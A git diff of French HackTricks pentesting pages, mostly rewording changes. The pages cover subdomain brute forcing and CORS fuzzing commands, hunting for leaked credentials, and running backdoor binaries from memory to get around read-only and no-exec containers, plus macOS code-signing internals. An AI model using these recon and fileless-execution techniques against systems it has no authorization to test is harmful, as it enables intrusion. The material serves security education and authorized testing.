cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
|
@ -414,13 +414,13 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
|||
|
||||
#### Génération de permutations intelligentes
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): Pour plus d'infos, lisez ce [**post**](https://cramppet.github.io/regulator/index.html), mais il obtiendra essentiellement les **principales parties** des **sous-domaines découverts** et les mélangera pour trouver plus de sous-domaines.
|
||||
* [**regulator**](https://github.com/cramppet/regulator): Pour plus d'infos, lisez ce [**post**](https://cramppet.github.io/regulator/index.html) mais il obtiendra essentiellement les **principales parties** des **sous-domaines découverts** et les mélangera pour trouver plus de sous-domaines.
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ est un fuzzer de brute-force de sous-domaines associé à un algorithme guidé par la réponse DNS, immensément simple mais efficace. Il utilise un ensemble de données d'entrée fournies, comme une liste de mots sur mesure ou des enregistrements DNS/TLS historiques, pour synthétiser avec précision des noms de domaine correspondants et les étendre encore plus dans une boucle basée sur les informations recueillies lors de l'analyse DNS.
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ est un fuzzer de brute-force de sous-domaines associé à un algorithme guidé par la réponse DNS extrêmement simple mais efficace. Il utilise un ensemble de données d'entrée fournies, comme une liste de mots sur mesure ou des enregistrements DNS/TLS historiques, pour synthétiser avec précision des noms de domaine correspondants et les étendre encore plus dans une boucle basée sur les informations recueillies lors de l'analyse DNS.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
|
@ -442,7 +442,7 @@ Vous pouvez trouver quelques **VHosts dans des IPs en utilisant** [**HostHunter*
|
|||
|
||||
**Brute Force**
|
||||
|
||||
Si vous soupçonnez qu'un sous-domaine peut être caché sur un serveur web, vous pourriez essayer de le bruteforcer :
|
||||
Si vous soupçonnez qu'un sous-domaine peut être caché sur un serveur web, vous pourriez essayer de le brute forcer :
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
|
@ -462,7 +462,7 @@ Avec cette technique, vous pourrez même accéder à des points de terminaison i
|
|||
|
||||
### **CORS Brute Force**
|
||||
|
||||
Parfois, vous trouverez des pages qui ne renvoient l'en-tête _**Access-Control-Allow-Origin**_ que lorsqu'un domaine/sous-domaine valide est défini dans l'en-tête _**Origin**_. Dans ces scénarios, vous pouvez abuser de ce comportement pour **découvrir** de nouveaux **sous-domaines**.
|
||||
Parfois, vous trouverez des pages qui ne renvoient que l'en-tête _**Access-Control-Allow-Origin**_ lorsqu'un domaine/sous-domaine valide est défini dans l'en-tête _**Origin**_. Dans ces scénarios, vous pouvez abuser de ce comportement pour **découvrir** de nouveaux **sous-domaines**.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
|
@ -480,13 +480,13 @@ Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont cr
|
|||
Vérifiez les possibles [**prises de contrôle de sous-domaines**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Si le **sous-domaine** pointe vers un **bucket S3**, [**vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Si vous trouvez un **sous-domaine avec une IP différente** de celles que vous avez déjà trouvées lors de la découverte des actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
|
||||
Si vous trouvez un **sous-domaine avec une IP différente** de celles que vous avez déjà trouvées lors de la découverte des actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services qui fonctionnent, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
|
||||
_Remarque : parfois, le sous-domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
|
||||
|
||||
## IPs
|
||||
|
||||
Dans les étapes initiales, vous avez peut-être **trouvé des plages d'IP, des domaines et des sous-domaines**.\
|
||||
Il est temps de **rassembler toutes les IPs de ces plages** et pour les **domaines/sous-domaines (requêtes DNS).**
|
||||
Il est temps de **rassembler toutes les IP de ces plages** et pour les **domaines/sous-domaines (requêtes DNS).**
|
||||
|
||||
En utilisant les services des **API gratuites** suivantes, vous pouvez également trouver des **IP précédemment utilisées par des domaines et sous-domaines**. Ces IP peuvent encore appartenir au client (et peuvent vous permettre de trouver des [**bypass CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
|
@ -536,7 +536,7 @@ Ensuite, avec ces mots, vous devriez générer des **permutations** (voir le [**
|
|||
|
||||
Avec les listes de mots résultantes, vous pourriez utiliser des outils tels que [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
N'oubliez pas que lorsque vous recherchez des actifs Cloud, vous devriez **chercher plus que de simples buckets dans AWS**.
|
||||
N'oubliez pas que lorsque vous recherchez des actifs Cloud, vous devez **chercher plus que de simples buckets dans AWS**.
|
||||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
||||
|
@ -564,15 +564,15 @@ Avec les **domaines**, **sous-domaines** et **emails**, vous pouvez commencer à
|
|||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
||||
Si vous trouvez des credentials **valides fuyés**, c'est une victoire très facile.
|
||||
Si vous trouvez des credentials **valides fuyants**, c'est une victoire très facile.
|
||||
|
||||
## Fuites de Secrets
|
||||
|
||||
Les fuites de credentials sont liées aux hacks d'entreprises où **des informations sensibles ont été divulguées et vendues**. Cependant, les entreprises peuvent être affectées par **d'autres fuites** dont les informations ne figurent pas dans ces bases de données :
|
||||
Les fuites de credentials sont liées aux hacks d'entreprises où des **informations sensibles ont été divulguées et vendues**. Cependant, les entreprises peuvent être affectées par **d'autres fuites** dont les informations ne figurent pas dans ces bases de données :
|
||||
|
||||
### Fuites Github
|
||||
|
||||
Les credentials et les API peuvent être divulgués dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise sur github.\
|
||||
Des credentials et des API peuvent avoir été divulgués dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise sur github.\
|
||||
Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement sur eux.
|
||||
|
||||
**Leakos** peut également être utilisé pour exécuter **gitleaks** contre tout le **texte** fourni par les **URLs passées** à celui-ci, car parfois **les pages web contiennent également des secrets**.
|
||||
|
@ -592,13 +592,13 @@ Vous pouvez utiliser l'outil [**Pastos**](https://github.com/carlospolop/Pastos)
|
|||
|
||||
### Dorks Google
|
||||
|
||||
Les dorks google, vieux mais précieux, sont toujours utiles pour trouver des **informations exposées qui ne devraient pas être là**. Le seul problème est que la [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contient plusieurs **milliers** de requêtes possibles que vous ne pouvez pas exécuter manuellement. Donc, vous pouvez prendre vos 10 préférées ou vous pourriez utiliser un **outil tel que** [**Gorks**](https://github.com/carlospolop/Gorks) **pour les exécuter toutes**.
|
||||
Les dorks google, vieux mais efficaces, sont toujours utiles pour trouver des **informations exposées qui ne devraient pas être là**. Le seul problème est que la [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contient plusieurs **milliers** de requêtes possibles que vous ne pouvez pas exécuter manuellement. Donc, vous pouvez prendre vos 10 préférées ou vous pourriez utiliser un **outil tel que** [**Gorks**](https://github.com/carlospolop/Gorks) **pour les exécuter toutes**.
|
||||
|
||||
_Remarque : les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne finiront jamais, car Google vous bloquera très rapidement._
|
||||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
||||
Si vous trouvez des credentials ou des tokens API **valides fuyés**, c'est une victoire très facile.
|
||||
Si vous trouvez des credentials ou des tokens API **valides fuyants**, c'est une victoire très facile.
|
||||
|
||||
## Vulnérabilités de Code Public
|
||||
|
||||
|
@ -618,7 +618,7 @@ Il existe également des services gratuits qui vous permettent de **scanner des
|
|||
|
||||
La **majorité des vulnérabilités** trouvées par les chasseurs de bugs se trouvent dans les **applications web**, donc à ce stade, je voudrais parler d'une **méthodologie de test d'application web**, et vous pouvez [**trouver cette information ici**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Je veux également faire une mention spéciale à la section [**Outils open source de scanners automatisés web**](../../network-services-pentesting/pentesting-web/#automatic-scanners), car, même si vous ne devriez pas vous attendre à ce qu'ils trouvent des vulnérabilités très sensibles, ils sont utiles pour les intégrer dans des **flux de travail pour avoir des informations web initiales.**
|
||||
Je veux également faire une mention spéciale à la section [**Outils de scanners automatisés open source**](../../network-services-pentesting/pentesting-web/#automatic-scanners), car, même si vous ne devez pas vous attendre à ce qu'ils trouvent des vulnérabilités très sensibles, ils sont utiles pour les intégrer dans des **flux de travail pour avoir des informations web initiales.**
|
||||
|
||||
## Récapitulation
|
||||
|
||||
|
@ -649,9 +649,9 @@ Il existe plusieurs outils qui effectueront une partie des actions proposées co
|
|||
|
||||
* Tous les cours gratuits de [**@Jhaddix**](https://twitter.com/Jhaddix) comme [**La Méthodologie du Chasseur de Bugs v4.0 - Édition Recon**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
Si vous êtes intéressé par une **carrière de hacking** et que vous voulez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -8,14 +8,14 @@ Apprenez et pratiquez le Hacking GCP : <img src="../.gitbook/assets/grte.png" al
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
|
@ -33,7 +33,7 @@ Avez-vous un **accès physique** à la machine que vous souhaitez attaquer ? Vou
|
|||
|
||||
### 1 - [Découverte des hôtes à l'intérieur du réseau](pentesting-network/#discovering-hosts)/ [Découverte des actifs de l'entreprise](external-recon-methodology/)
|
||||
|
||||
**Selon** que le **test** que vous effectuez est un **test interne ou externe**, vous pourriez être intéressé à trouver des **hôtes à l'intérieur du réseau de l'entreprise** (test interne) ou à **trouver des actifs de l'entreprise sur Internet** (test externe).
|
||||
**Selon** si le **test** que vous effectuez est un **test interne ou externe**, vous pourriez être intéressé à trouver des **hôtes à l'intérieur du réseau de l'entreprise** (test interne) ou à **trouver des actifs de l'entreprise sur Internet** (test externe).
|
||||
|
||||
{% hint style="info" %}
|
||||
Notez que si vous effectuez un test externe, une fois que vous parvenez à obtenir l'accès au réseau interne de l'entreprise, vous devez redémarrer ce guide.
|
||||
|
@ -56,7 +56,7 @@ Une fois que vous savez quels services sont en cours d'exécution, et peut-être
|
|||
|
||||
S'il n'y a pas d'exploit intéressant pour un service en cours d'exécution, vous devriez rechercher des **mauvaise configurations courantes dans chaque service en cours d'exécution.**
|
||||
|
||||
**Dans ce livre, vous trouverez un guide pour pentester les services les plus courants** (et d'autres qui ne le sont pas tant que ça). **Veuillez chercher dans l'index de gauche la section** _**PENTESTING**_ **(les services sont classés par leurs ports par défaut).**
|
||||
**Dans ce livre, vous trouverez un guide pour pentester les services les plus courants** (et d'autres qui ne le sont pas tant que ça)**. Veuillez chercher dans l'index de gauche la section** _**PENTESTING**_ **(les services sont classés par leurs ports par défaut).**
|
||||
|
||||
**Je tiens à faire une mention spéciale de la** [**partie Pentesting Web**](../network-services-pentesting/pentesting-web/) **(car c'est la plus étendue).**\
|
||||
De plus, un petit guide sur la façon de [**trouver des vulnérabilités connues dans les logiciels**](search-exploits.md) peut être trouvé ici.
|
||||
|
@ -73,11 +73,11 @@ Dans certains scénarios, un **Brute-Force** pourrait être utile pour **comprom
|
|||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
Si à ce stade vous n'avez trouvé aucune vulnérabilité intéressante, vous **devez peut-être essayer le phishing** afin d'entrer dans le réseau. Vous pouvez lire ma méthodologie de phishing [ici](phishing-methodology/):
|
||||
Si à ce stade vous n'avez trouvé aucune vulnérabilité intéressante, vous **pourriez avoir besoin d'essayer un phishing** afin d'entrer dans le réseau. Vous pouvez lire ma méthodologie de phishing [ici](phishing-methodology/):
|
||||
|
||||
### **7-** [**Obtenir un Shell**](reverse-shells/)
|
||||
|
||||
D'une manière ou d'une autre, vous devriez avoir trouvé **un moyen d'exécuter du code** sur la victime. Ensuite, [une liste d'outils possibles à l'intérieur du système que vous pouvez utiliser pour obtenir un reverse shell serait très utile](reverse-shells/).
|
||||
D'une manière ou d'une autre, vous devriez avoir trouvé **un moyen d'exécuter du code** sur la victime. Ensuite, [une liste des outils possibles à l'intérieur du système que vous pouvez utiliser pour obtenir un reverse shell serait très utile](reverse-shells/).
|
||||
|
||||
Surtout sous Windows, vous pourriez avoir besoin d'aide pour **éviter les antivirus** : [**Consultez cette page**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
|
@ -151,7 +151,7 @@ Consultez également la page sur [**NTLM**](../windows-hardening/ntlm/), cela po
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
|
@ -165,7 +165,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="../.gitbook/assets/grte.png" al
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Apprenez et pratiquez le hacking GCP : <img src="../../../.gitbook/assets/grte.p
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
|
@ -45,7 +45,7 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Cependant, même si le système de fichiers est monté en ro, **`/dev/shm`** sera toujours écrivable, donc c'est faux de dire que nous ne pouvons rien écrire sur le disque. Cependant, ce dossier sera **monté avec une protection no-exec**, donc si vous téléchargez un binaire ici, vous **ne pourrez pas l'exécuter**.
|
||||
Cependant, même si le système de fichiers est monté en tant que ro, **`/dev/shm`** sera toujours inscriptible, donc c'est faux de dire que nous ne pouvons rien écrire sur le disque. Cependant, ce dossier sera **monté avec une protection no-exec**, donc si vous téléchargez un binaire ici, vous **ne pourrez pas l'exécuter**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
D'un point de vue red team, cela rend **compliqué de télécharger et d'exécuter** des binaires qui ne sont pas déjà dans le système (comme des portes dérobées ou des énumérateurs comme `kubectl`).
|
||||
|
@ -55,7 +55,7 @@ D'un point de vue red team, cela rend **compliqué de télécharger et d'exécut
|
|||
|
||||
Notez que j'ai mentionné des binaires, vous pouvez **exécuter n'importe quel script** tant que l'interpréteur est présent dans la machine, comme un **script shell** si `sh` est présent ou un **script python** si `python` est installé.
|
||||
|
||||
Cependant, cela ne suffit pas pour exécuter votre porte dérobée binaire ou d'autres outils binaires que vous pourriez avoir besoin d'exécuter.
|
||||
Cependant, cela ne suffit pas pour exécuter votre porte dérobée binaire ou d'autres outils binaires dont vous pourriez avoir besoin.
|
||||
|
||||
## Contournements en mémoire
|
||||
|
||||
|
@ -63,14 +63,14 @@ Si vous souhaitez exécuter un binaire mais que le système de fichiers ne le pe
|
|||
|
||||
### Contournement FD + syscall exec
|
||||
|
||||
Si vous avez des moteurs de script puissants dans la machine, tels que **Python**, **Perl** ou **Ruby**, vous pourriez télécharger le binaire à exécuter depuis la mémoire, le stocker dans un descripteur de fichier en mémoire (`create_memfd` syscall), qui ne sera pas protégé par ces protections, puis appeler un **syscall `exec`** en indiquant le **fd comme fichier à exécuter**.
|
||||
Si vous avez des moteurs de script puissants dans la machine, tels que **Python**, **Perl** ou **Ruby**, vous pourriez télécharger le binaire à exécuter depuis la mémoire, le stocker dans un descripteur de fichier mémoire (`create_memfd` syscall), qui ne sera pas protégé par ces protections, puis appeler un **syscall `exec`** en indiquant le **fd comme fichier à exécuter**.
|
||||
|
||||
Pour cela, vous pouvez facilement utiliser le projet [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Vous pouvez lui passer un binaire et il générera un script dans le langage indiqué avec le **binaire compressé et encodé en b64** avec les instructions pour **le décoder et le décompresser** dans un **fd** créé en appelant le syscall `create_memfd` et un appel au **syscall exec** pour l'exécuter.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Cela ne fonctionne pas dans d'autres langages de script comme PHP ou Node car ils n'ont pas de **méthode par défaut pour appeler des syscalls bruts** depuis un script, donc il n'est pas possible d'appeler `create_memfd` pour créer le **fd mémoire** pour stocker le binaire.
|
||||
|
||||
De plus, créer un **fd régulier** avec un fichier dans `/dev/shm` ne fonctionnera pas, car vous ne serez pas autorisé à l'exécuter en raison de la **protection no-exec** qui s'appliquera.
|
||||
De plus, créer un **fd régulier** avec un fichier dans `/dev/shm` ne fonctionnera pas, car vous ne serez pas autorisé à l'exécuter en raison de l'application de la **protection no-exec**.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
@ -132,7 +132,7 @@ Cependant, dans ce type de conteneurs, ces protections existeront généralement
|
|||
|
||||
Vous pouvez trouver des **exemples** sur comment **exploiter certaines vulnérabilités RCE** pour obtenir des **reverse shells** de langages de script et exécuter des binaires depuis la mémoire dans [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
|
@ -147,7 +147,7 @@ Apprenez et pratiquez le hacking GCP : <img src="../../../.gitbook/assets/grte.p
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -19,7 +19,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
Les binaires Mach-o contiennent une commande de chargement appelée **`LC_CODE_SIGNATURE`** qui indique le **décalage** et la **taille** des signatures à l'intérieur du binaire. En fait, en utilisant l'outil GUI MachOView, il est possible de trouver à la fin du binaire une section appelée **Code Signature** avec ces informations :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
|
||||
L'en-tête magique de la Code Signature est **`0xFADE0CC0`**. Ensuite, vous avez des informations telles que la longueur et le nombre de blobs du superBlob qui les contient.\
|
||||
Il est possible de trouver ces informations dans le [code source ici](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
|
||||
|
@ -118,7 +118,7 @@ Notez qu'il existe différentes versions de cette structure où les anciennes pe
|
|||
|
||||
## Pages de signature de code
|
||||
|
||||
Hacher le binaire complet serait inefficace et même inutile s'il n'est chargé qu'en mémoire partiellement. Par conséquent, la signature de code est en réalité un hachage de hachages où chaque page binaire est hachée individuellement.\
|
||||
Hacher le binaire complet serait inefficace et même inutile s'il n'est chargé en mémoire que partiellement. Par conséquent, la signature de code est en réalité un hachage de hachages où chaque page binaire est hachée individuellement.\
|
||||
En fait, dans le code **Code Directory** précédent, vous pouvez voir que la **taille de la page est spécifiée** dans l'un de ses champs. De plus, si la taille du binaire n'est pas un multiple de la taille d'une page, le champ **CodeLimit** spécifie où se termine la signature.
|
||||
```bash
|
||||
# Get all hashes of /bin/ps
|
||||
|
@ -228,7 +228,7 @@ Chaque application stocke des **exigences** qu'elle doit **satisfaire** pour pou
|
|||
|
||||
Les exigences d'un binaire utilisent une **grammaire spéciale** qui est un flux d'**expressions** et sont encodées sous forme de blobs en utilisant `0xfade0c00` comme magie dont le **hash est stocké dans un emplacement de code spécial**.
|
||||
|
||||
Les exigences d'un binaire peuvent être vues en exécutant :
|
||||
Les exigences d'un binaire peuvent être vues en exécutant :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -264,35 +264,35 @@ od -A x -t x1 /tmp/output.csreq
|
|||
|
||||
Il est possible d'accéder à ces informations et de créer ou modifier des exigences avec certaines API du `Security.framework` comme :
|
||||
|
||||
#### **Vérification de Validité**
|
||||
#### **Vérification de la validité**
|
||||
|
||||
* **`Sec[Static]CodeCheckValidity`** : Vérifie la validité de SecCodeRef par rapport à l'exigence.
|
||||
* **`Sec[Static]CodeCheckValidity`** : Vérifie la validité de SecCodeRef par exigence.
|
||||
* **`SecRequirementEvaluate`** : Valide l'exigence dans le contexte du certificat.
|
||||
* **`SecTaskValidateForRequirement`** : Valide un SecTask en cours par rapport à l'exigence `CFString`.
|
||||
|
||||
#### **Création et Gestion des Exigences de Code**
|
||||
#### **Création et gestion des exigences de code**
|
||||
|
||||
* **`SecRequirementCreateWithData`** : Crée un `SecRequirementRef` à partir de données binaires représentant l'exigence.
|
||||
* **`SecRequirementCreateWithString`** : Crée un `SecRequirementRef` à partir d'une expression de chaîne de l'exigence.
|
||||
* **`SecRequirementCreateWithData` :** Crée un `SecRequirementRef` à partir de données binaires représentant l'exigence.
|
||||
* **`SecRequirementCreateWithString` :** Crée un `SecRequirementRef` à partir d'une expression de chaîne de l'exigence.
|
||||
* **`SecRequirementCopy[Data/String]`** : Récupère la représentation des données binaires d'un `SecRequirementRef`.
|
||||
* **`SecRequirementCreateGroup`** : Crée une exigence pour l'appartenance à un groupe d'applications.
|
||||
|
||||
#### **Accès aux Informations de Signature de Code**
|
||||
#### **Accès aux informations de signature de code**
|
||||
|
||||
* **`SecStaticCodeCreateWithPath`** : Initialise un objet `SecStaticCodeRef` à partir d'un chemin de système de fichiers pour inspecter les signatures de code.
|
||||
* **`SecCodeCopySigningInformation`** : Obtient des informations de signature à partir d'un `SecCodeRef` ou `SecStaticCodeRef`.
|
||||
|
||||
#### **Modification des Exigences de Code**
|
||||
#### **Modification des exigences de code**
|
||||
|
||||
* **`SecCodeSignerCreate`** : Crée un objet `SecCodeSignerRef` pour effectuer des opérations de signature de code.
|
||||
* **`SecCodeSignerSetRequirement`** : Définit une nouvelle exigence que le signataire de code doit appliquer lors de la signature.
|
||||
* **`SecCodeSignerAddSignature`** : Ajoute une signature au code en cours de signature avec le signataire spécifié.
|
||||
|
||||
#### **Validation du Code avec des Exigences**
|
||||
#### **Validation du code avec des exigences**
|
||||
|
||||
* **`SecStaticCodeCheckValidity`** : Valide un objet de code statique par rapport aux exigences spécifiées.
|
||||
|
||||
#### **API Utiles Supplémentaires**
|
||||
#### **API supplémentaires utiles**
|
||||
|
||||
* **`SecCodeCopy[Internal/Designated]Requirement` : Obtenir SecRequirementRef à partir de SecCodeRef**
|
||||
* **`SecCodeCopyGuestWithAttributes`** : Crée un `SecCodeRef` représentant un objet de code basé sur des attributs spécifiques, utile pour le sandboxing.
|
||||
|
@ -301,18 +301,18 @@ Il est possible d'accéder à ces informations et de créer ou modifier des exig
|
|||
* **`SecCodeGetTypeID`** : Renvoie l'identifiant de type pour les objets `SecCodeRef`.
|
||||
* **`SecRequirementGetTypeID`** : Obtient un CFTypeID d'un `SecRequirementRef`.
|
||||
|
||||
#### **Drapeaux et Constantes de Signature de Code**
|
||||
#### **Drapeaux et constantes de signature de code**
|
||||
|
||||
* **`kSecCSDefaultFlags`** : Drapeaux par défaut utilisés dans de nombreuses fonctions de Security.framework pour les opérations de signature de code.
|
||||
* **`kSecCSSigningInformation`** : Drapeau utilisé pour spécifier que les informations de signature doivent être récupérées.
|
||||
|
||||
## Application de la Signature de Code
|
||||
## Application de la signature de code
|
||||
|
||||
Le **noyau** est celui qui **vérifie la signature de code** avant de permettre l'exécution du code de l'application. De plus, une façon de pouvoir écrire et exécuter un nouveau code en mémoire est d'abuser de JIT si `mprotect` est appelé avec le drapeau `MAP_JIT`. Notez que l'application a besoin d'un droit spécial pour pouvoir faire cela.
|
||||
|
||||
## `cs_blobs` & `cs_blob`
|
||||
|
||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) la structure contient des informations sur le droit de l'application en cours d'exécution. `csb_platform_binary` informe également si l'application est un binaire de plateforme (ce qui est vérifié à différents moments par le système d'exploitation pour appliquer des mécanismes de sécurité comme protéger les droits SEND aux ports de tâche de ces processus).
|
||||
